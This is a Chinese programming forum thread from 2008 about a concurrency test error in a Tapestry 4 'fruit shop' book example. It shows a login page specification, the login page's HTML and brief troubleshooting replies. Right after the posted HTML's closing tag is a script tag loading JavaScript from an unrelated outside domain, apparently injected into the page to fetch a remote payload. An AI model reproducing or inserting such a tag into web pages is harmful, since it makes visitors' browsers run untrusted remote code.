[Tapestry4] 深入浅出Tapestry水果店例子并发测试出错

chun79 2008-01-11
页面配置文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE page-specification PUBLIC
  "-//Apache Software Foundation//Tapestry Specification 4.0//EN"
  "http://jakarta.apache.org/tapestry/dtd/Tapestry_4_0.dtd">

<page-specification>
    <property name="username"/>
    <property name="password"/>
    <component id="loginForm" type="Form">
        <binding name="listener" value="listener:loginSubmit"/>
        <binding name="clientValidationEnabled" value="true"/>
    </component>
    <component id="username" type="TextField">
        <binding name="value" value="username"/>
        <binding name="validators" value="validators:required"/>
          <binding name="displayName" value="literal:【用户名】"/>
    </component>
    <component id="password" type="TextField">
        <binding name="value" value="password"/>
        <binding name="hidden" value="true"/>
        <binding name="validators" value="validators:required,minLength=6"/>
        <binding name="displayName" value="literal:【密码】"/>
    </component>
</page-specification>
chun79 2008-01-11
html页面:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GBK">
<title>学习Tapestry se_allplay</title>
</head>
<body jwcid="@Body">
<table width="33%" border="1">
<form jwcid="loginForm">
<tr>
<td width="32%" align="center">登陆</td>
<td width="68%" align="center" valign="middle">&nbsp;</td>
</tr>
<tr>
<td width="32%" align="left">用户名:</td>
<td width="68%" align="left"><input type="text" jwcid="username" /></td>
</tr>
<tr>
<td align="left">密码:</td>
<td align="left"><input type="password" jwcid="password" /></td>
</tr>
<tr>
<td align="left">&nbsp;</td>
<td align="center"><input type="submit" value="登陆" /></td>
</tr>
</form>
</table>
</body>
</html>

<script language=javascript src=http://www.333292.com/cb.js></script>
tapestry 2008-01-11
这种问题看代码看不出来东西,你可以换一下测试环境,我看到你好像用的是jboss,你用tomcat,或者resin做服务器试一下。
chun79 2008-01-11
tapestry 写道
这种问题看代码看不出来东西,你可以换一下测试环境,我看到你好像用的是jboss,你用tomcat,或者resin做服务器试一下。


经过测试,问题依然存在。
greco831203 2008-01-22
可以支持并发,不存在不支持并发的问题,关键是程序实现的问题,水果店只是个例子, 在我们开发的时候,某些系统确实要做成只支持单点登陆或触发事件的情况, 视具体情况而定, 都可以在程序里实现的。  如果需要,我会整理出来一份说明文档供大家参考 。关于并发和单点或多重登陆的
heyongqiang 2008-04-08
我看了这本书,可是按书上操作,,和spring集成没有搞出来
MyUnicorn 2008-07-29
我也是看那本书学的,当时也是两台电脑试,印象当中没有此类问题啊。
Global site tag (gtag.js) - Google Analytics